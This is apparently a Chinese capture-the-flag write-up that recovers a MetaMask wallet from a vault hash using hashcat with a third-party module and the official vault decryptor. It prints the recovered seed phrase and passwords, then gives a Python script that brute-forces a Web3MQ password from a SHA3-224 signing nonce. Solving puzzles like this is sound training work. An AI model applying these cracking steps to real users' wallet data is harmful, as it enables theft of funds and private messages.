$metamask$xN8qVOAe6KF+JTti1cOyGNBNdSWTlumu1YQi2A4GcbU=$fPymLoml7KKyZ5wdqwylqg==$WT5WJKyy+Ol+hgVsSKViRytzII2INhhftI5RJlgvuNuLx/MxDXMZtaIxfNeC/7LnvcfgitrTcQCQBh5ULv8AemL6SFSjzcACNrlCRIcppYmUFuMp6clW7nUi+My0Rj521yd/kwmLuHNToIRiACSezzLAWHkLXnZuvtDX2zyRvISZ0AQBseFXBecB0xKa0hcdoGsxBRBnK0vPvFf8b9TGfFAB7Qefh2O8GrFqzc40qX42gCgs+gVe0uq0A6SUSMKlwomMSfGQZJt6xfwMBZy8Or0kO0+D2Bjj0AgyIZaOeQ6S8IL/zcfO5Qi+gFaGpo6sGVOk1Yiu9+8enZvOuUW5IiIgydrzFKRixEMClAPa9MLDt3cksq52DxzorFLN8vYBqFY39DYQdSebg0HC6+Ww7XMz+b8FFKLqxLroar8F8IxP9WE1BHDIiT7mOcrUZnKW+W1Mmq6vbz+XuHmpz46OR8oD1KjwRVWV61qvTf7sg2H56fxbGrzjml89HATckwPrJ0cEwTAQcIkPZOA/DuuWsoHr6X6U4jYWJ+qwJFKYMIbwSWIdOmXKhb3kuJIS1YZzRCqHNJ0opudN6sRVOf/+nRp6wC4ww8LRTK1e1KTJ3aHdna7mIOJzMMO/0U0Gn9EDb4EMrK5XMzuZB0UaOR+9YmQaTUKGAQRNLVHMpdMgLQkVnxbZp4bIJiTRpXaKbIip+am9HAy4uq47vkY7ql72tQ5E4x9Ipkx4dKXF6ppiBBip6ag6QQ==
注意metamask官方更新了加密策略,用hashcat里面内置的模式已经无法破解现在的密码了,需要取下载有人做好的版本,比如
https://github.com/flyinginsect271/MetamaskHashcatModule
然后放进hashcat的modules文件夹中
爆破即可
hashcat -a 0 -m 26650 1.txt ./passwords.txt --force
稍作等待,得到密码:
silversi
然后使用metamask官方的解密网站:https://metamask.github.io/vault-decryptor/
就得到助记词
acid happy olive slim crane avoid there cave umbrella connect rain vessel
于是就可以直接在本地的metamask中重置密码导入钱包
至此第一部分就结束了,已经成功的导入了钱包,然后就是对于idb进一步的挖掘。
于是就可以发现其中的web3mq相关的消息,了解后可得知这是一个链上通信的snap
如果你仔细去翻idb,可以发现其中有这样几条消息
可以发现是进行了签名操作,这里可以对消息进行解密
由于web3mq是开源的,所以对于这些格式都可以在源码中找到对应的代码,这里有用的是第一张图里的消息,你可以在这里找到它
https://github.com/Generative-Labs/Web3MQ-Snap/blob/fc18f84e653070f8914f5058ab870a6ef04d3ee8/packages/snap/src/register/index.ts#L204
即
getMainKeypairSignContent = async (
options: GetMainKeypairParams,
): Promise<GetSignContentResponse> => {
const { password, did_value, did_type } = options;
const keyIndex = 1;
const keyMSG = `${did_type}:${did_value}${keyIndex}${password}`;
const magicString = Uint8ToBase64String(
new TextEncoder().encode(sha3_224(`$web3mq${keyMSG}web3mq$`)),
);
const signContent = `Signing this message will allow this app to decrypt messages in the Web3MQ protocol for the following address: ${did_value}. This won’t cost you anything.
If your Web3MQ wallet-associated password and this signature is exposed to any malicious app, this would result in exposure of Web3MQ account access and encryption keys, and the attacker would be able to read your messages.
In the event of such an incident, don’t panic. You can call Web3MQ’s key revoke API and service to revoke access to the exposed encryption key and generate a new one!
Nonce: ${magicString}`;
return { signContent };
};
仔细看看其实nonce大有来头,其格式如下
sha3_224(`$web3mq${did_type}:${did_value}${keyIndex}${password}web3mq$`)
通过更多源码,我们可以知道信息如下
did_type = "eth"
did_value = wallet_address
keyIndex = 1
password 未知
钱包地址可以看到是0xd1Abc6113bDa0269129c0fAa2Bd0C9c1bb512Be6,注意这里需要转变成全小写。所以说在这里未知的只有password,只要进行爆破就够了,而且是sha3-224可以爆破的非常快,编写脚本如下
import hashlib
import base64
def sha3_224(string):
sha3 = hashlib.sha3_224()
string = "$web3mqeth:0xd1abc6113bda0269129c0faa2bd0c9c1bb512be61"+string+"web3mq$"
sha3.update(string.encode())
return sha3.hexdigest()
def bruteforce_sha3_224(target_hash, wordlist):
for word in wordlist:
computed_hash = sha3_224(word)
if computed_hash == target_hash:
return word
return None
target_Nonce = "Mzk2ZDBiNTVmZjkyMGRkYTVkNTFjMTQ3ODU4YTM1NDc4ZGE1NjExMTllYmRiYWE4MzQyM2M3YzI="
target_hash = base64.b64decode(target_Nonce).decode()
wordlist = open("passwords.txt", "r").read().split("\n")
print("target_hash: ", target_hash)
original_string = bruteforce_sha3_224(target_hash, wordlist)
if original_string:
print(f"Found original string: {original_string}")
else:
print("No match found in the wordlist.")
运行代码即可得到密码:
stanley1
至此,就已经完成了题目的所有部分,最后只需要登陆web3mq,点一下左下角的按钮,查看聊天记录即可